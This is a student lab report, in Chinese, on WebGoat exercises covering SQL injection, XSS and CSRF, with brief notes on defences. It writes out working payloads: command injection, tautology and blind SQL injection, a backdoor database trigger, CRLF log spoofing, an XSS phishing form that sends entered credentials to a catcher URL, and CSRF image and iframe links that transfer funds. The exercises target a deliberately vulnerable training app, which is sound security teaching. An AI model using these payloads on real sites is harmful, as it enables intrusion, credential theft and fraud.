2018-2019 2 20165203 《网络对抗技术》Exp9 Web安全基础
2018-2019 2 20165203 《网络对抗技术》Exp9 Web安全基础
实验要求
本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目,共3.5分。包括(SQL,XSS,CSRF)。Webgoat实践下相关实验。
基础知识问答
(1)SQL注入攻击原理,如何防御
- SQL注入的原理:就是通过构建特殊的参数传入web应用程序,而这些输入大多都是SQL语句语法里的组合,通过这些组合构造出某些特殊的含义,从而达到攻击者的攻击目的,例如在用户名和密码框中输入某些像
''
、--
,#
等特殊字符,实现将某些语句注释掉,或是构造永真式,实现登录的目的。 - 防御:
-
- 在后台控制限制输入用户名的长度或是禁止输入一些诸如
''
、--
或是#
的符号。
- 在后台控制限制输入用户名的长度或是禁止输入一些诸如
-
- 通过Java语句中的绑定变量进行预防。
(2)XSS攻击的原理,如何防御
- XSS攻击原理:攻击者向Web页面里插入一些恶意的html标签或者javascript代码,当用户浏览该页进行某些操作时,攻击者利用用户对原网站的信任,诱骗用户进行一些不安全的操作或向其他网站进行一些不安全的行为操作或向网站提交一些私密信息。
- 防御:
-
- 用户:增强防范意识,不要轻易输入用户名、密码等一些私密信息。
-
- 网页编写者:在输入和输出过程中进行过滤、转义等。
(3)CSRF攻击原理,如何防御
- CSRF攻击原理:CSRF通过伪装成受信任用户的请求来利用受信任的网站,它的核心本质是窃取用户的Session,或者说是Cookie,因为目前的主流情况是Session存在Cookie中,攻击者并不关心具体的账户密码,因为一旦用户进行登录,Session就是唯一凭证,只要攻击者获得了Session,就可以伪造被害者进入服务器来攻击网站了。
- 防御:
-
- 尽量不要设置
记住密码
,避免cookie的出现。
- 尽量不要设置
-
- 在form表单栏中设置一些秘密信息作为cookie之外的验证。
-
- 避免全站使用通用的cookie,严格控制cookie的域。
实践过程
准备工作(下载并开启WebGoat)
WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,当前提供的训练课程有30多个,其中包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、web服务、Open Authentication失效、危险的HTML注释等等。WebGoat提供了一系列web安全学习的教程,某些课程也给出了视频演示,指导用户利用这些漏洞进行攻击。
step1 检查端口:由于WebGoat是使用8080
端口进行工作的,所以使用前,要检查该端口是否被占用。
- 使用
netstat -tupln | grep 8080
来检查端口是否被占用。 - 如果被占用,用
kill 进程号
终止占用8080端口的进程。
step2 下载并安装WebGoat:
- 下载地址:webgoat-container-7.0.1-war-exec.jar
- 查看是否安装有jdk:输入
java -version
查看jdk版本
step3 开启并登录:
-
开启WebGoat:进入存在刚刚下载的
webgoat-container-7.0.1-war-exec.jar
包的目录,输入java jar webgoat-container-7.0.1-war-exec.jar
进行开启。
在看到Starting ProtocolHandler ["http-bio-8080"]
这一条消息之后就表明开启成功了。 -
登录Webgoat:
-
- 浏览器中输入
http://localhost:8080/WebGoat
,如图所示,在登录框下面表格中有两组用户名和密码,可以直接登录。
- 浏览器中输入
-
- 成功登录后我们可以在左侧看到各种实践课程。
SQL注入攻击
1.命令注入(Command Injection)
原理:在正常的参数提交过程中添加恶意代码,以执行某条命令。
目标:可以在主机上执行任何系统命令。
-
在左侧点击
Injection Flaws
->Command Injection
-
我们可以选择第一个
AccessControlMatrix.help
,点击view
,看到如下执行结果。
-
接下来,我们做一下注入攻击,希望还是选择该选项,增加
检查端口状态
和查询连接端口主机的IP地址的功能
。 -
右键点击复选框,选择
Inspect Element
来审查网页元素,对源代码进行修改,我们可以在相应选项的末尾后面添加"& netstat -an & ipconfig
。
- 随后,点击
view
,我们可以看到相应的端口及连接端口的主机,攻击成功。
2. 数字型注入(Numerical SQL Injection)
原理:通过在字段中注入数字型数据(例如永真式),从而达到注入攻击的效果。
目标:本次实践中通过注入SQL字符达到查看所有城市的天气预报的效果。
-
在左侧点击
Injection Flaws
->Numeric SQL Injection
-
同样,右侧点击复选框,选择
inspect Element
审查元素。这次,我们希望查询所有城市的天气预报,所以,我们要让网页前端传给后台的value值为永真式,才能达到迷惑后台,查询所有城市的效果。所以,我们要在value="101"
中的101
后面添加or 1=1
,使得value值
为 一个永真式。
- 修改完毕后,我们点击
Go
,出现绿对勾
,说明我们攻击成功,同时也可以看到所有城市的天气。
3. 日志欺骗(Log Spoofing)
原理:通过在日志中插入脚本实现欺骗,攻击者可以利用这种方式清除他们在日志中的痕迹。
本次实践目标:用户登录后下方日志会显示其在之前的所有行为,我们通过日志欺骗,让用户登录时下方只显示成功登录。
-
在左侧点击
Injection Flaws
->Log Spoofing
-
我们就之前打开WebGoat时表格上显示的用户
webgoat
进行攻击。 -
在
User Name
中填入webgoat%0d%0aLogin Succeeded for username: admin
,利用回车%0D
和空格%0A
让其在日志中两行显示。 -
随后,我们输入密码(在之前表格中有)后,点击
Login
,可以看到webgoat
在Login Fail
那行中显示,我们自己添加的语句在下一行中显示。
- 此外,攻击者还可以向日志文件中添加恶意脚本,脚本文件的返回信息管理员可通过浏览器看到。可以在用户名中输入
admin <script>alert(document.cookie)</script>
,管理员可以看到弹窗的cookie信息。
4. 字符串型注入(String SQL Injection)
本次实践目标:基于查询语句利用字符串型追方式构造自己的SQL,从而达到将所有信用卡信息显示出来的目的。
-
在左侧点击
Injection Flaws
->String SQL Injection
-
下面我们来构造SQL语句,我们可以随便选一个用户名(这个没有关系,我们要注入永真式,用户名正确与否无关)例如
Smith
,我们知道正常的SQL搜索语句为select * FROM user_data WHERE last_name='Smith'
,我们利用'
提前闭合''
,并且加上or 1=1 --
,or 1=1
是使这段语句变成永真式,--
语句是为了把后面的语句注释掉。这就形成了select * FROM user_data WHERE last_name='Smith' or 1=1 --
。 -
随后,我们点击
Go!
,结果如下:
5. LAB(SQL Injection)
本次实践目标:通过使用SQL注入绕过后台进行攻击。
- 我们想在不知道密码的情况下登录用户,我们之前学过字符串注入,我们可以注入
' or 1=1 --
进行登录。
- 咦,登录失败,我们在cookie中看一下密码,发现只有一部分登录,这应该是后台里对密码的输入长度有限制,于是,我们同样在密码输入框处点击右键,选择
inpect Elements
,对元素长度进行修改。
- 接下来重新输入
' or 1=1 --
,登录成功。
6. 数据库后门(Database Backdoors)
原理:数据库通常作为一个 Web 应用程序的后端来使用。此外,它也用来作为存储的媒介。 它也可以被用来作为存储恶意活动的地方,如触发器。触发器是在数据库管理系统上调用另 一个数据库操作,如 insert, select, update or delete。举个例子:攻击者可以创建一个触发器, 该触发器在创建新用户时,将每个新用户的 Email 地址设置为攻击者的地址。
- 我们的用户是
101
,可以输入101
来查看用户的信息。
-
通过界面,我们可以看到输入的语句没有经过任何验证,很容易进行SQL注入。
-
比如,我们注入一段SQL语句,将
101
用户中的salary
这一项改为10000
,输入101; update employee set salary=10000
,修改成功。
- 随后,我们设置触发器,并试图使其在创建新用户时将邮箱改为我们自己的邮箱
john@hackme.com
,输入语句101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com' WHERE userid = NEW.userid
,我们可以看到注入成功。
- 但是由于WebGoat使用的是MySQL数据库,并不支持创建触发器,所以,该攻击并不能真正意义上实现。
7. 数字型盲注入(Blind Numeric SQL Injection)
原理:某些SQL注入是没有明确的返回信息的,只能通过条件的“真”和“假”来进行判断,攻击者必须充分利用查询语句来构造子查询语句。
该题目要求:根据数字型盲注入,查找pins表中cc_number字段值为1111222233334444的记录中pin字段的数值。
方法:该网站只能输入一个账号,判断该账号是否合法,使用该表单的返回信息(真或假)来测试数据库中其他条目的信息。我们找到了pins表中cc_number字段值为1111222233334444的记录中pin字段的数值。pin字段类型为整型,输入找到的数值并提交,通过改题目。
-
在该题目中,服务端的信息只有两种:无效或有效,因此我们并不能简单地查到帐号的PIN值。尽管如此,我们同样可以利用系统在后台的查询语句:
SELECT * FROM user_data WHERE userid=accountNumber;
,在帐号后面加入AND 查询语句
,如果页面返回帐号有效,则代表我们的查询语句是正确的,如果提示查询无效,则我们的查询语句是错误的。 -
例如,我们利用帐号
101
,输入101 AND 1=1
,如图,页面返回Account number is valid
,因为1=1
是永真式,所以,语句的结果是正确的,页面返回的结果是账号正确的。
- 输入
101 AND 1=2
,因为1=2
是一个结果为假的表达式,所以,语句的结果是错误的,页面返回的结果是账号错误。
-
我们可以利用这一点进行查询。
-
针对
AND
后面的语句,我们开始构造SQL的查询语句。首先,我们判断一下pin值是否大于7000,我们输入101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
。如果页面返回帐号有效,则pin值就是大于7000.如果返回帐号无效,则pin值小于或等于7000。由此,我们可以利用二分法进行判断。 -
经过我们的判断,pin值为
2364
,在输入框中输入2364
,提交,正确。
8. 字符串型盲注入(Blind String SQL Injection)
题目要求:到```pins```表中```cc_number```字段值为4321432143214321的记录中```pin字段```的数值。```pin字段```类型为```varchar```。输入找到的数值(最终的字符串,注意拼写和大写)并提交。
-
与上一题目不同的是本题目查询的为字符串,我们需要用到
Substring()
方法,语法为SUBSTRING(STRING,START,LENGTH)
。 -
我们输入
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'M' )
来获取pin的第一个字符,并判断其是否比M
小。 -
同样,经过二分法的测试,我们判断出了pin值为
Jill
。
XSS攻击(Cross‐Site Scripting)
XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中,还可以任意构造用户当前浏览的HTML内容,从而模拟用户当前的操作。这里实验的是一种获取用户名和密码的攻击。
1. XSS 钓鱼(Phishing with XSS)
原理:在XSS的帮助下,我们可以实现钓鱼工具或向某些其他官方页面中增加内容,因为脚本在后台,受害者很难发现。
题目目标:创建一个form表单,让受害者填入用户名和密码,在后台中加入脚本,使服务器获取用户名和密码后传给攻击者。
- 首先,我们写一个简单的带用户名和密码输入框的表格如下:
<form name="justice">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
- 在
Search
框中输入该代码,则在下面出现输入用户名和密码的表单。
- 接下来,我们编写一段脚本文件,一旦受害者在表单中输入用户名和密码,则信息会传给捕获这些信息的
WebGoat
。
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.justice.user.value + "&password=" + document.justice.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.justice.user.value + " Password = " + document.justice.pass.value);
}
</script>
- 将这两段代码合在一起。
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.justice.user.value + "&password=" + document.justice.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.justice.user.value + " Password = " + document.justice.pass.value);
}
</script>
<form name="justice">
<br>
<br>
//表格
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
-
在
Search
框中输入该代码,则出现表单。 -
输入用户名和密码后,我们可以看到服务器返回登录名和密码。
2. 存储型XSS攻击(Stored XSS Attacks)
原理:用户在表单中输入一段javascript脚本,这段脚本就会被保存在数据库中,当任何用户打开网页时,脚本就会从数据库中提取出来运行。
实践目的:写入非法消息内容,导致其他用户访问时载入非预期的页面和内容。
-
在Message中输入我们构造的语句
<script>alert("20165203 attack successfully!");</script>
,Title可以任意输入,在这里输入学号5203
。提交后,可以发现我们刚刚发的帖子5203
。 -
点击这个帖子,就会发现弹出我们注入的那句话
20165203 attack successfully!
,攻击成功。
3. 反射型XSS攻击(Reflected XSS Attacks)
原理:攻击者利用一个脚本创建一个URL,受害者一旦点击它就会受到攻击。
- 在
Enter your three digit access code:
栏中输入脚本<script>alert("Hey! You've been attacked!");</script>
,点击Purchase
,成功显示警告框,内容就是我们在脚本中注入的内容。
CSRF攻击
跨站请求伪造 (Cross Site Request Forgery)
原理:伪装来自受信任用户的请求来利用受信任的网站。
目标:向一个新闻组发送一封邮件,邮件中包含一张图片,这个图像的URL指向一个恶意请求。URL应该指向“攻击”servlet,其中包含“屏幕”和“菜单”参数,以及一个额外的参数“transferFunds”,其数值为5000。可以通过在右侧插入的参数中找到“Screen”和“menu”值来构造链接。当经过身份验证的CSRF电子邮件的收件人将被转移他们的资金。
-
查看页面右侧
Parameters
中的src
和menu
值,分别为319和900。 -
在
title
中输入任何参数,message框中输入<img src="http://localhost:8080/WebGoat/attack?Screen=319&menu=900&transferFunds=5000" width="1" height="1" />
,该链接将以图片的形式(宽和高均设为1是为了隐藏该图片)放入Message
框,用户一旦点击这个图片,就会触发一个CSRF事件(转走用户的5000元),从而达到攻击的目的。
绕过 CSRF 确认( CSRF Prompt By‐Pass)
原理:CSRF通常是欺骗用户加载包含“伪造请求”的链接,从而达到获取用户的信息,利用这些信息去执行其他行为。但是如果链接有提示,提示“确认”或“取消”,那攻击就很难完成了。我们可以发出另一个链接,来达到绕过这个提示符的目的。
题目目标:与上一个题目类似,向新闻组发送多个包含恶意请求的链接,第一个链接是请求用于转移资金的,第二个是用于确认第一个请求触发的提示符,这次我们把链接伪造成一个屏幕,屏幕的参数```srceen```和```menu```右边的```Parameters```已经给出,我们一个链接通过参数```transferFunds=5000```来传输,另一个链接通过```transferFunds=CONTNETS```来传输,假如受害者收到了链接,又恰好点开了这两个链接通过了身份验证,则他的资金就会被转移。```
-
查看页面右侧的
Parameters
中的src = 328
和menu=900
. -
在
title
中输入消息的名字,在Message
中输入代码:
<iframe src="attack?Screen=328&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=328&menu=900&transferFunds=CONFIRM"> </iframe>
- 点击
Submit
,如图所示,攻击成功。
实验感想
本次实践是在Webgoat上完成的,根据指导,加深了我对SQL注入、XSS和CSRF的理解,正如老师说的那样,我们一定要知道自己目前在做什么操作,目的是什么,才能更好地理解整个攻击的脉络。
本次实验是最后一次实验了,虽然由于自己在学期末忙碌,所以放弃了免考的机会,但是我们对网络对抗的探索没有停止,自己通过本学期的实验确实增强了自主学习的能力和动手的能力,希望自己好好回顾本学期的知识,在期末考试中考一个好成绩。